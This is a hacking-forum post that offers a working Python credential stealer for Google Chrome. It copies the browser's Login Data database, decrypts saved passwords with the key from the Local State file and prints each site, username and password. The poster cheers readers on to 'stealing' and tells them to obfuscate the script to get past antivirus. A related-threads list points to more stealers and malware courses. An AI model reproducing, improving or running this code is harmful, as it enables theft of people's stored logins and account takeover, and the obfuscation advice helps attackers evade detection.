Chrome Email and password stealer
by Malware420 - Tuesday February 11, 2025 at 10:52 AM
#1
Working On the most up to date version of google chrome: 132.0.6834.196 (Officiële build) (64-bits) (cohort: Control) 
Happy stealing everyone! Kappa

Python script:

import os
import json
import shutil
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
from win32crypt import CryptUnprotectData
username = os.environ.get('USERNAME')
login_data = fr"C:\Users\{username}\AppData\Local\Google\Chrome\User Data\Default\Login Data"
temp_database = 'temp_login_data.db'
shutil.copy2(login_data, temp_database)
conn = sqlite3.connect(temp_database)
cursor = conn.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
def decrypt_password(encrypted_password, browser='chrome'):
    local_state_path = os.path.expandvars(r"%LOCALAPPDATA%\Google\Chrome\User Data\Local State")
    try:
        with open(local_state_path, "r", encoding="utf-8") as f:
            local_state = json.load(f)
            encrypted_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
            encrypted_key = encrypted_key[5:]
            key = win32crypt.CryptUnprotectData(encrypted_key)[1]
            nonce = encrypted_password[3:15]
            ciphertext = encrypted_password[15:-16]
            tag = encrypted_password[-16:]
            cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
            decrypted_password = cipher.decrypt_and_verify(ciphertext, tag)
            return decrypted_password.decode("utf-8")
    except Exception as e:
        print(f"Error decrypting password: {e}")
        return None
for row in cursor.fetchall():
    origin_url, username_value, password_value = row
    if password_value:
        decrypted_password = decrypt_password(password_value)
        if decrypted_password:
            print(f"URL: {origin_url}")
            print(f"Username: {username_value}")
            print(f"Password: {decrypted_password}")
        else:
            print(f"URL: {origin_url}")
            print(f"Username: {username_value}")
            print(f"Password: Unable to decrypt: {password_value}")
    else:
        print(f"URL: {origin_url}")
        print(f"Username: {username_value}")
        print(f"Password: [Encrypted]: {password_value}")
conn.close()
os.remove(temp_database)


This code will be detected by anti viruses.
If you want to use it you will have to obfuscate the code!
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Sektor7 - Malware Development Advanced - Vol.1 Sh4d0w1X 423 42,277 7 hours ago
Last Post: GWNiemand1212
  [ LIST ] 5 FREE STEALERS WITH PROS/CONS elix 381 14,549 11 hours ago
Last Post: GWNiemand1212
  [Go] Using the recycle bin for stealthy persistence (Beginner tutorial) CreateThread 16 887 Yesterday, 07:53 AM
Last Post: sureno
  Xordium stealer for Pulsar v2.4.5 nullvex 24 922 Yesterday, 01:12 AM
Last Post: CuantoxReal
  [Sektor7] Full Recent Course Spearr 29 587 Yesterday, 01:08 AM
Last Post: CuantoxReal

Forum Jump:


 Users browsing this forum: 1 Guest(s)